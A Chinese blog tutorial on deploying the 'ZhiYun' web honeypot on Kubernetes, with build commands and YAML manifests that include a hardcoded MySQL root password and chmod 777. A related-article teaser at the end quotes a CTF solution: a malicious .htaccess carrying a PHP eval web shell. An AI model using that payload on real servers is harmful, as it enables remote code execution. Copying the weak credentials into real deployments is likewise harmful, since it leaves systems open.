智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

devtools/2025/2/5 4:49:48/

智云-一个抓取web流量的轻量级蜜罐-k8s快速搭建教程

github地址
https://github.com/xiaoxiaoranxxx/POT-ZHIYUN

k8s搭建教程

首先下载代码文件

git clone https://github.com/xiaoxiaoranxxx/POT-ZHIYUN.git
cd POT-ZHIYUN

编译镜像

代码相关文件在github
https://github.com/xiaoxiaoranxxx/POT-ZHIYUN

docker build -t install/pot-main:v1 .

在这里插入图片描述

创建命名空间和configmap

kubectl create -f pot-mysql-init.yaml# 查看创建情况
kubectl get configmaps -n pot-zhiyun

在这里插入图片描述

创建pv,pvc,mysql

kubectl create -f pot-mysql.yaml

在这里插入图片描述

查看mysql容器中的init.sql是否成功初始化

kubectl logs -n pot-zhiyun pot-mysql-0

在这里插入图片描述

创建pv,pvc,web

kubectl create -f pot-web-deployment.yaml

在这里插入图片描述

确认正常安装

kubectl get pods -n pot-zhiyun

pot-zhiyun空间下所有pod都为Running状态

在这里插入图片描述

kubectl get svc -n pot-zhiyun

查看svc的状态,pot-web 的NodePort出口端口为31394,因此访问http://127.0.0.1:31394/为200说明搭建成功

在这里插入图片描述

设计思路

mysql

mysql为StatefulSet类型,单数据库来存储

通过configMap来初始化数据库文件

通过pv卷来实现持久化存储,默认分配大小为10G

创建一个services,可通过pot-mysql来获取主机名

web

web为Deployment类型,可生成多个pod来实现负载

通过pv卷来实现runtime目录共享,达到多个pod数据同步问题

pv卷默认分配大小为1G

创建一个services,可通过Local来获取真实IP地址

NodePort会对外映射一个端口

面对多个扫描器同时扫描可达到负载效果,可以在内网多个节点配置蜜罐来达到内网多节点蜜罐

在这里插入图片描述

相关配置文件

pot-mysql-init.yaml

apiVersion: v1
kind: Namespace
metadata:name: pot-zhiyun
---
apiVersion: v1
kind: ConfigMap
metadata:name: mysql-initdb-confignamespace: pot-zhiyun
data:init.sql: |SET NAMES utf8mb4;SET FOREIGN_KEY_CHECKS = 0;
...

pot-mysql.yaml

apiVersion: v1
kind: PersistentVolume
metadata:name: mysql-pvnamespace: pot-zhiyun
spec:capacity:storage: 10GivolumeMode: FilesystemaccessModes:- ReadWriteOncepersistentVolumeReclaimPolicy: RetainstorageClassName: standard-pot-mysqlhostPath: path: /mnt/data/pot-mysql
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:name: mysql-data-pot-mysqlnamespace: pot-zhiyun
spec:accessModes:- ReadWriteOnceresources:requests:storage: 10GistorageClassName: standard-pot-mysql
---
apiVersion: apps/v1
kind: StatefulSet
metadata:name: pot-mysqlnamespace: pot-zhiyun
spec:serviceName: "pot-mysql"replicas: 1selector:matchLabels:app: pot-mysqltemplate:metadata:labels:app: pot-mysqlspec:volumes:- name: init-scriptsconfigMap:name: mysql-initdb-configcontainers:- name: pot-mysqlimage: mysql:8.0.22env:- name: MYSQL_DATABASEvalue: pot_admin- name: MYSQL_USERvalue: root- name: MYSQL_ROOT_PASSWORDvalue: pot_admin@123ports:- containerPort: 3306volumeMounts:- name: mysql-data-potmountPath: /var/lib/mysql- name: init-scriptsmountPath: /docker-entrypoint-initdb.dvolumeClaimTemplates:- metadata:name: mysql-data-potspec:accessModes: ["ReadWriteOnce"]resources:requests:storage: 10Gi
---
apiVersion: v1
kind: Service
metadata:name: pot-mysqlnamespace: pot-zhiyun
spec:ports:- port: 3306targetPort: 3306selector:app: pot-mysql

pot-web-deployment.yaml

apiVersion: v1
kind: PersistentVolumeClaim
metadata:name: mysql-data-pot-webnamespace: pot-zhiyun
spec:accessModes:- ReadWriteOnceresources:requests:storage: 1GistorageClassName: standard-pot-web
---
apiVersion: v1
kind: PersistentVolume
metadata:name: pot-web-pv
spec:capacity:storage: 1GivolumeMode: FilesystemaccessModes:- ReadWriteOncepersistentVolumeReclaimPolicy: RetainstorageClassName: standard-pot-webhostPath:path: /mnt/data/pot-web
---
apiVersion: apps/v1
kind: Deployment
metadata:name: pot-webnamespace: pot-zhiyun
spec:replicas: 5selector:matchLabels:app: pot-webtemplate:metadata:labels:app: pot-webspec:initContainers:- name: init-permissionsimage: busyboxcommand: ["sh", "-c", "chmod -R 777 /var/www/html/runtime/"]volumeMounts:- name: mysql-data-potmountPath: /var/www/html/runtime/containers:- name: pot-webimage: install/pot-main:v1ports:- containerPort: 80volumeMounts:- name: mysql-data-potmountPath: /var/www/html/runtime/volumes:- name: mysql-data-potpersistentVolumeClaim:claimName: mysql-data-pot-web
---
apiVersion: v1
kind: Service
metadata:name: pot-webnamespace: pot-zhiyun
spec:type: NodePortexternalTrafficPolicy: Localports:- port: 80targetPort: 80selector:app: pot-web

http://www.ppmy.cn/devtools/156179.html

相关文章

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码)

手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码) 目录 手撕Diffusion系列 - 第十一期 - lora微调 - 基于Stable Diffusion(代码)Stable Diffusion 原理图Stable Diffusion的原理解释Stable Diffusion 和Di…

[JMCTF 2021]UploadHub

题目 上传.htaccess就是修改配置文件 <FilesMatch .htaccess> SetHandler application/x-httpd-php Require all granted php_flag engine on </FilesMatch>php_value auto_prepend_file .htaccess #<?php eval($_POST[md]);?>SetHandler和ForceType …

【深度学习】DeepSeek模型介绍与部署

原文链接&#xff1a;DeepSeek-V3 1. 介绍 DeepSeek-V3&#xff0c;一个强大的混合专家 (MoE) 语言模型&#xff0c;拥有 671B 总参数&#xff0c;其中每个 token 激活 37B 参数。 为了实现高效推理和成本效益的训练&#xff0c;DeepSeek-V3 采用了多头潜在注意力 (MLA) 和 De…

初阶mysql修炼手册

0.MySQL 在 Centos 7环境安装 0.1 卸载不要的环境 ps ajx |grep mariadb # 先检查是否有 mariadb 存在 systemctl stop mariadb.service # 停⽌ mariadb 服务 ps ajx |grep mariadb # 再 检查是否有 mariadb 存在 0.2 删除多余的安装包 rpm -qa | grep mysql #查看默认安…

360嵌入式开发面试题及参考答案

解释一下 802.11ax 和 802.11ac/n 有什么区别 速度与带宽 802.11n 支持的最高理论速率为 600Mbps,802.11ac 进一步提升,单流最高可达 866.7Mbps,多流情况下能达到更高,如 1.3Gbps 等。而 802.11ax(Wi-Fi 6)引入了更多先进技术,理论最高速率可达 9.6Gbps,相比前两者有大…

WebSocket 实时通信详解:原理、应用与实践

WebSocket 实时通信详解&#xff1a;原理、应用与实践 WebSocket 实时通信详解&#xff1a;原理、应用与实践引言什么是WebSocket&#xff1f;主要特点 WebSocket 工作原理1. 握手过程2. 协议转换3. 数据帧传输 WebSocket 协议与API1. 协议版本2. HTTP头部3. JavaScript API4. …

使用LLaMA-Factory对AI进行认知的微调

使用LLaMA-Factory对AI进行认知的微调 引言1. 安装LLaMA-Factory1.1. 克隆仓库1.2. 创建虚拟环境1.3. 安装LLaMA-Factory1.4. 验证 2. 准备数据2.1. 创建数据集2.2. 更新数据集信息 3. 启动LLaMA-Factory4. 进行微调4.1. 设置模型4.2. 预览数据集4.3. 设置学习率等参数4.4. 预览…

Linux基础 ——tmux vim 以及基本的shell语法

Linux 基础 ACWING y总的Linux基础课&#xff0c;看讲义作作笔记。 tmux tmux 可以干嘛&#xff1f; tmux可以分屏多开窗口&#xff0c;可以进行多个任务&#xff0c;断线&#xff0c;不会自动杀掉正在进行的进程。 tmux – session(会话&#xff0c;多个) – window(多个…